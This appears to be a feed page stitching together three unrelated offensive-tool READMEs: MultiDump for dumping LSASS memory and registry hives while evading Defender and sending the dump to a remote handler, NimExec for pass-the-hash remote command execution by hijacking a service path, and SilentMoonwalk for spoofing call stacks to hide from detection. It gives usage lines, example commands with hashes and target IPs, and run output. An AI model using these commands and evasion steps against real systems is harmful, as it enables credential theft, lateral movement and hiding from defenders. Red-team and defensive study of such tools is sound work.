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MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.
Blog post: https://xre0us.io/posts/multidump
MultiDump supports LSASS dump via ProcDump.exe or comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis.
FreshRSS __ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable v erbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for RemoteProcDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
As with all LSASS related tools, Administrator/SeDebugPrivilege priviledges are required.
The handler depends on Pypykatz to parse the LSASS dump, and impacket to parse the registry saves. They should be installed in your enviroment. If you see the error All detection methods failed, it's likely the Pypykatz version is outdated.
By default, MultiDump uses the Comsvc.dll method and saves the encrypted dump in the current directory.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./ProcDumpHandler.py -f dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
If --procdump is used, ProcDump.exe will be writtern to disk to dump LSASS.
In remote mode, MultiDump connects to the handler's listener.
./ProcDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
The key is encrypted with the handler's IP and port. When MultiDump connects through a proxy, the handler should use the --override-ip option to manually specify the IP address for key generation in remote mode, ensuring decryption works correctly by matching the decryption IP with the expected IP set in MultiDump -r.
An additional option to dump the SAM, SECURITY and SYSTEM hives are available with --reg, the decryption process is the same as LSASS dumps. This is more of a convenience feature to make post exploit information gathering easier.
Open in Visual Studio, build in Release mode.
It is recommended to customise the binary before compiling, such as changing the static strings or the RC4 key used to encrypt them, to do so, another Visual Studio project EncryptionHelper, is included. Simply change the key or strings and the output of the compiled EncryptionHelper.exe can be pasted into MultiDump.c and Common.h.
Self deletion can be toggled by uncommenting the following line in Common.h:
#define SELF_DELETION
To further evade string analysis, most of the output messages can be excluded from compiling by commenting the following line in Debug.h:
//#define DEBUG
MultiDump might get detected on Windows 10 22H2 (19045) (sort of), and I have implemented a fix for it (sort of), the investigation and implementation deserves a blog post itself: https://xre0us.io/posts/saving-lsass-from-defender/
Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.
NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.
Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim's cross-compilability support.
This project was inspired by Julio's SharpNoPSExec tool. You can think that NimExec is Cross Compilable and built-in Pass the Hash supported version of SharpNoPSExec. Also, I learned the required network packet structures from Kevin Robertson's Invoke-SMBExec Script.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.
Also, you can install the required Nim modules via Nimble with the following command:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .--- ----------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
It's tested against Windows 10&11, Windows Server 16&19&22 from Ubuntu 20.04 and Windows 10 machines.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.*
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
PoC Implementation of a fully dynamic call stack spoofer
SilentMoonwalk is a PoC implementation of a fully dynamic call stack spoofer, implementing a technique to remove the original caller from the call stack, using ROP to desynchronize unwinding from control flow.
This PoC is the result of a joint research done on the topic of stack spoofing. The authors of the research are:
I want to stress that this work would have been impossible without the work of Waldo-IRC and Trickster0, which both contributed to the early stages of the PoC, and to the research behind the PoC.
This repository demonstrates a PoC implementation to spoof the call stack when calling arbitrary Windows APIs.
This attempt was inspired by this Twitter thread, and this Twitter thread, where sensei namazso showed and suggested to extend the stack unwinding approach with a ROP chain to both desynchronize the unwinding from real control flow and restore the original stack afterwards.
This PoC attempts to do something similar to the above, and uses a desync stack to completely hide the original call stack, also removing the EXE image base from it. Upon return, a ROP gadget is invoked to restore the original stack. In the code, this process is repeated 10 times in a loop, using different frames at each iteration, to prove stability.
The tool currently supports 2 modes, where one is actually a wrong patch to a non-working pop RBP frame identified, which operates by shifting the current RSP and adding two fake frames to the call stack. As it operates using synthetic frames, I refer to this mode as "SYNTHETIC".
When selecting the frame that unwinds by popping the RBP register from the stack, the tool might select an unsuitable frame, ending up in an abruptly cut call stack, as observable below.
A silly solution to the problem would be to create two fake frames and link them back to the cut call stack. This would create a sort of apparently legit call stack, even without a suitable frame which unwinds calling POP RBP, but:
The result of the _synthetic spoof can be observed in the image below:
Figure 1: Windows 10 - Apparently Legit, non unwoundable call stack whereby the EXE module was completely removed (calling no parameters function getchar)
Note: This operation mode is disabled by default. To enable this mode, change the CALLSTACK_TYPE to 1
This mode is the right solution to the above problem, whereby the non-suitable frame is simply replaced by another, suitable one.
Figure 2: Windows 10 - Legit, unwoundable call stack whereby the EXE module was completely removed (calling 4 parameters function MessageBoxA)
In the repository, you can find also a little util to inspect runtime functions, which might be useful to analyse runtime function entries.
UnwindInspector.exe -h
Unwind Inspector v0.100000
Mandatory args:
-m <module>: Target DLL
-f <function>: Target Function
-a <function-address>: Target Function Address
Sample Output:
UnwindInspector.exe -m kernelbase -a 0x7FFAAE12182C
[*] Using function address 0x7ffaae12182c
Runtime Function (0x000000000000182C, 0x00000000000019ED)
Unwind Info Address: 0x000000000026AA88
Version: 0
Ver + Flags: 00000000
SizeOfProlog: 0x1f
CountOfCodes: 0xc
FrameRegister: 0x0
FrameOffset: 0x0
UnwindCodes:
[00h] Frame: 0x741f - 0x04 - UWOP_SAVE_NONVOL (RDI, 0x001f)
[01h] Frame: 0x0015 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0015)
[02h] Frame: 0x641f - 0x04 - UWOP_SAVE_NONVOL (RSI, 0x001f)
[03h] Frame: 0x0014 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0014)
[04h] Frame: 0x341f - 0x04 - UWOP_SAVE_NONVOL (RBX, 0x001f)
[05h] Frame: 0x0012 - 0x00 - UWOP_PUSH_NONVOL (RAX, 0x0012)
[06h] Frame: 0xb21f - 0x02 - UWOP_ALLOC_SMALL (R11, 0x001f)
[07h] Frame: 0xf018 - 0x00 - UWOP_PUSH_NONVOL (R15, 0x0018)
[0 8h] Frame: 0xe016 - 0x00 - UWOP_PUSH_NONVOL (R14, 0x0016)
[09h] Frame: 0xd014 - 0x00 - UWOP_PUSH_NONVOL (R13, 0x0014)
[0ah] Frame: 0xc012 - 0x00 - UWOP_PUSH_NONVOL (R12, 0x0012)
[0bh] Frame: 0x5010 - 0x00 - UWOP_PUSH_NONVOL (RBP, 0x0010)
In order to build the POC and observe a similar behaviour to the one in the picture, ensure to:
/GS-)/Od)/GL)/Os, /Ot)/Oi)It's worth mentioning previous work done on this topic, which built the foundation of this work.
